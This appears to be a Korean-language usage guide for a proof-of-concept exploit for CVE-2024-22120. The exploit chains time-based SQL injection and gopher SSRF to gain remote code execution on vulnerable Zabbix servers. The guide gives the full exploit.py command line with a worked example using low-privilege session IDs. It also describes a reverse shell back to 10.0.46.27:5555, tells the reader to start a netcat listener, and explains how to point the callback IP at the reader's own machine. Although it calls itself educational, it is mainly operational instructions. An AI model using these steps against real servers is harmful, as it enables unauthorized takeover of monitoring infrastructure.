
CVE-2024-22120에 대한 개념 증명 익스플로잇으로, 시간 기반 SQL 인젝션과 고퍼 기반 SSRF를 활용하여 취약한 Zabbix 서버에서 원격 코드 실행을 달성하는 교육용 보안 연구 도구입니다.
python exploit.py --ip <Zabbix_IP> --sid <LowPrivileged_SID> --hostid <HostID> --phpsessid <PHPSESSID> --false_time <FalseTime> --true_time <TrueTime>
IP 192.168.1.100에서 실행 중인 Zabbix 서버를 식별했으며, 다음 세부 정보를 가진 낮은 권한의 사용자에 접근할 수 있습니다:
sid): d82bf6715e1d3c1f25hostid): 10107phpsessid): a4g7f48d9j3r7h8s9g이 스크립트를 사용하여 RCE 취약점을 익스플로잇하려고 합니다.
python exploit.py --ip 192.168.1.100 --sid d82bf6715e1d3c1f25 --hostid 10107 --phpsessid a4g7f48d9j3r7h8s9g --false_time 1 --true_time 3
--ip 192.168.1.100: Zabbix 서버의 IP 주소입니다.--sid d82bf6715e1d3c1f25: 낮은 권한 사용자의 세션 ID입니다.--hostid 10107: 낮은 권한 사용자가 접근할 수 있는 호스트의 ID입니다.--phpsessid a4g7f48d9j3r7h8s9g: 요청을 인증하는 데 사용되는 PHP 세션 ID입니다.--false_time 1: SQL 인젝션 중 잘못된 추측 시 대기하는 시간(초)입니다 (기본값 1초).--true_time 3: SQL 인젝션 중 올바른 추측 시 대기하는 시간(초)입니다 (기본값 3초).10.0.46.27:5555)로 사용자의 시스템에 다시 연결합니다.리버스 셸을 받기 위해 사용자의 시스템이 지정된 포트(스크립트 내 5555)에서 리스닝 중인지 확인하십시오. netcat`을 사용할 수 있습니다:
nc -lvnp 5555
리버스 셸을 받기 위해 CreateScript 함수 내의 IP 10.0.46.27과 포트 5555를 자신의 IP와 원하는 포트로 변경하십시오.